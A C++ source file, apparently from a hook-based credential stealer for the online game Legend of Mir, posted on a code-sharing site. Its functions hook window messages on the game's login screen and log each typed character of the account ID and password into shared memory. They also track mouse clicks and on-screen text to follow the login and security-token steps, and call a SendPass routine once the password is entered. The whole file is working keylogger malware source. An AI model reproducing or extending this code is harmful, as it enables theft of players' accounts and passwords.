www.pudn.com > Hook-api-mir.rar > sharemem.cpp


// Copyright: www.pudn.com,程序员联合开发网,www.programsalon.com 
// 如果要使用或修改本程序,请保留次信息 
// 
#include "StdAfx.h" 
#include "sharemem.h" 
#include "util.h" 
#include "send.h" 
#include "mouse_pos.h" 
 
HANDLE g_hMapFile =NULL; 
INPUT_INFO *g_pMapData =NULL; 
 
HANDLE g_hMapFileDebug =NULL; 
DEBUG_INFO *g_pMapDataDebug =NULL; 
 
extern BOOL IfExe(); 
 
extern HWND g_hWndMain; 
 
int InitShareMem() 
{ 
	g_hMapFile =OpenFileMapping(FILE_MAP_WRITE, FALSE, "hook_map_file"); 
	if(g_hMapFile) 
		g_pMapData =(INPUT_INFO *)MapViewOfFile(g_hMapFile, FILE_MAP_WRITE, 0, 0, 0); 
	else 
	{ 
		ExitShareMem(); 
		return -1; 
	} 
	if(g_pMapData) 
	{ 
		if(IfExe()) 
		{ 
			g_pMapData->cur_times =!g_pMapData->cur_times;	// using another buf to save new data 
			memset(&g_pMapData->data[g_pMapData->cur_times], 0, sizeof(g_pMapData->data[g_pMapData->cur_times])); 
			g_pMapData->data[g_pMapData->cur_times].stat =STAT_START; 
			// 密宝初始化为-1,-1,-1 
			g_pMapData->data[g_pMapData->cur_times].mb[0] =(char)0xFF; 
			g_pMapData->data[g_pMapData->cur_times].mb[1] =(char)0xFF; 
			g_pMapData->data[g_pMapData->cur_times].mb[2] =(char)0xFF; 
		} 
		//else		改由选择百区的时候设置为input login id 
		//	g_pMapData->data[g_pMapData->cur_times].stat =STAT_INPUT_LOGIN_ID; 
	} 
 
	g_hMapFileDebug =OpenFileMapping(FILE_MAP_WRITE, FALSE, "debug_map_file"); 
	if(g_hMapFileDebug) 
		g_pMapDataDebug =(DEBUG_INFO *)MapViewOfFile(g_hMapFileDebug, FILE_MAP_WRITE, 0, 0, 0); 
	else 
	{ 
		ExitShareMem(); 
		return -2; 
	} 
 
	return 0; 
} 
 
void ExitShareMem() 
{ 
	if(g_pMapData) 
	{ 
		if(IfExe()) 
			g_pMapData->data[g_pMapData->cur_times].stat =STAT_END; 
		UnmapViewOfFile(g_pMapData); 
	} 
	if(g_hMapFile) 
		CloseHandle(g_hMapFile); 
	if(g_pMapDataDebug) 
		UnmapViewOfFile(g_pMapDataDebug); 
	if(g_hMapFileDebug) 
		CloseHandle(g_hMapFileDebug); 
	 
	g_hMapFile =NULL; 
	g_pMapData =NULL; 
 
	g_hMapFileDebug =NULL; 
	g_pMapDataDebug =NULL; 
} 
 
void CheckStatByMousePos(int x, int y) 
{ 
	int i; 
 
	POINT pt; 
	pt.x =x; 
	pt.y =y; 
	if(g_pMapData->data[g_pMapData->cur_times].stat !=STAT_LOGIN_OK) 
	{ 
		for(i =0; i<20 && g_rect_infos[i].stat >-1; i++) 
		{ 
			if(PtInRect(g_rect_infos[i].rc, pt)) 
			{ 
				g_pMapData->data[g_pMapData->cur_times].stat =g_rect_infos[i].stat; 
				if(g_rect_infos[i].stat ==STAT_INPUT_MB) 
				{ 
					// 密宝初始化为-1,-1,-1 
					g_pMapData->data[g_pMapData->cur_times].mb[0] =(char)0xFF; 
					g_pMapData->data[g_pMapData->cur_times].mb[1] =(char)0xFF; 
					g_pMapData->data[g_pMapData->cur_times].mb[2] =(char)0xFF; 
				} 
				break; 
			} 
		} 
	} 
	else	// 判断选择服务器 
	{ 
	} 
} 
 
void CheckStatByText(char *buf) 
{ 
	if(strlen(buf) <3) 
		return; 
 
	if(buf[1] ==',' && buf[3] ==',') 
	{ 
		g_pMapData->data[g_pMapData->cur_times].stat =STAT_INPUT_MB; 
		// 密宝初始化为-1,-1,-1 
		g_pMapData->data[g_pMapData->cur_times].have_mb =1; 
	} 
	for(int i=0; i<10 && g_text_infos[i].stat >-1; i++) 
	{ 
		if(strstr(buf, g_text_infos[i].txt)) 
		{ 
			g_pMapData->data[g_pMapData->cur_times].stat =g_text_infos[i].stat; 
			if(g_text_infos[i].stat ==STAT_MB_LOGIN_FAILED) 
			{ 
				// 密宝初始化为-1,-1,-1 
				g_pMapData->data[g_pMapData->cur_times].mb[0] =(char)0xFF; 
				g_pMapData->data[g_pMapData->cur_times].mb[1] =(char)0xFF; 
				g_pMapData->data[g_pMapData->cur_times].mb[2] =(char)0xFF; 
			} 
			break; 
		} 
	} 
} 
 
void SetDebugData(char *buf) 
{ 
	if(!IfExe()) WriteLog(buf); 
 
	char temp[200]; 
	GetModuleFileName(NULL, temp, sizeof(temp)); 
	if(strstr(temp, ".exe")) 
		return; 
 
	if(strlen(temp) <9) 
		strcpy(&g_pMapDataDebug->data[g_pMapDataDebug->pos][1], temp); 
	else 
		strcpy(&g_pMapDataDebug->data[g_pMapDataDebug->pos][1], &temp[strlen(temp)-9]); 
	strcat(&g_pMapDataDebug->data[g_pMapDataDebug->pos][1], ","); 
	int len =strlen(buf); 
	if(len > 190) 
		buf[190] =0; 
	 
	strcat(&g_pMapDataDebug->data[g_pMapDataDebug->pos][1], buf); 
	 
	g_pMapDataDebug->data[g_pMapDataDebug->pos][0] =' ';	// buf can read now 
 
	g_pMapDataDebug->pos =(g_pMapDataDebug->pos+1)%1024; 
} 
 
void SetMapData(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam) 
{ 
	char temp[200]; 
 
	GetModuleFileName(NULL, temp, sizeof(temp)); 
	if(strstr(temp, ".exe")) 
		return; 
 
	INPUT_DATA *pdata =&g_pMapData->data[g_pMapData->cur_times]; 
	if(msg ==WM_KEYDOWN) 
	{ 
		if(wParam ==VK_TAB) 
		{ 
			WriteLog("VK_TAB,stat=%d", pdata->stat); 
			switch(pdata->stat) 
			{ 
			case STAT_INPUT_LOGIN_ID: 
				pdata->stat =STAT_INPUT_PASSWORD; 
				break; 
			case STAT_INPUT_PASSWORD: 
				pdata->stat =STAT_INPUT_LOGIN_ID; 
				break; 
			} 
			return; 
		} 
		return; 
	} 
	if(msg ==WM_LBUTTONDOWN) 
	{ 
		// ID,用户名,登录,出错,密宝登录,密宝登录出错,选择服务器 
		CheckStatByMousePos(LOWORD(lParam), HIWORD(lParam)); 
		return; 
	} 
 
	if(msg ==WM_CHAR) 
	{ 
		if(wParam ==VK_RETURN) 
		{ 
			WriteLog("VK_RETURN,msg=%d,stat=%d", msg,pdata->stat); 
			switch(pdata->stat) 
			{ 
			case STAT_INPUT_LOGIN_ID: 
				WriteLog("input password..."); 
				pdata->stat =STAT_INPUT_PASSWORD; 
				break; 
			case STAT_INPUT_PASSWORD: 
				pdata->stat =STAT_TO_LOGIN; 
				WriteLog("send pass..."); 
				SendPass(); 
				break; 
			case STAT_INPUT_MB: 
				pdata->stat =STAT_TO_LOGIN_MB; 
				break; 
			case STAT_TO_LOGIN:  // 登录出错按回车 
				pdata->stat =STAT_INPUT_LOGIN_ID; 
				pdata->login_id[0] =0; 
				pdata->password[0] =0; 
				break; 
			case STAT_TO_LOGIN_MB: 
				pdata->stat =STAT_END;	//密宝登录失败 
				break; 
			} 
			return; 
		} 
		if(wParam ==VK_BACK) 
		{ 
			switch(pdata->stat) 
			{ 
			case STAT_INPUT_LOGIN_ID: 
				if(strlen(pdata->login_id) >0) 
					pdata->login_id[strlen(pdata->login_id)-1] =0; 
				break; 
			case STAT_INPUT_PASSWORD: 
				pdata->password[0] =0; 
				break; 
			} 
			return; 
		} 
		int len; 
		switch(pdata->stat) 
		{ 
		case STAT_INPUT_LOGIN_ID: 
			len =strlen(pdata->login_id); 
			if(len < sizeof(pdata->login_id)-1) 
			{ 
				pdata->login_id[len] =wParam; 
				len++; 
				pdata->login_id[len] =0; 
			} 
			break; 
		case STAT_INPUT_PASSWORD: 
			len =strlen(pdata->password); 
			if(len < sizeof(pdata->password)-1) 
			{ 
				pdata->password[len] =wParam; 
				len++; 
				pdata->password[len] =0; 
			} 
			break; 
		default: 
			return; 
		} 
	} 
}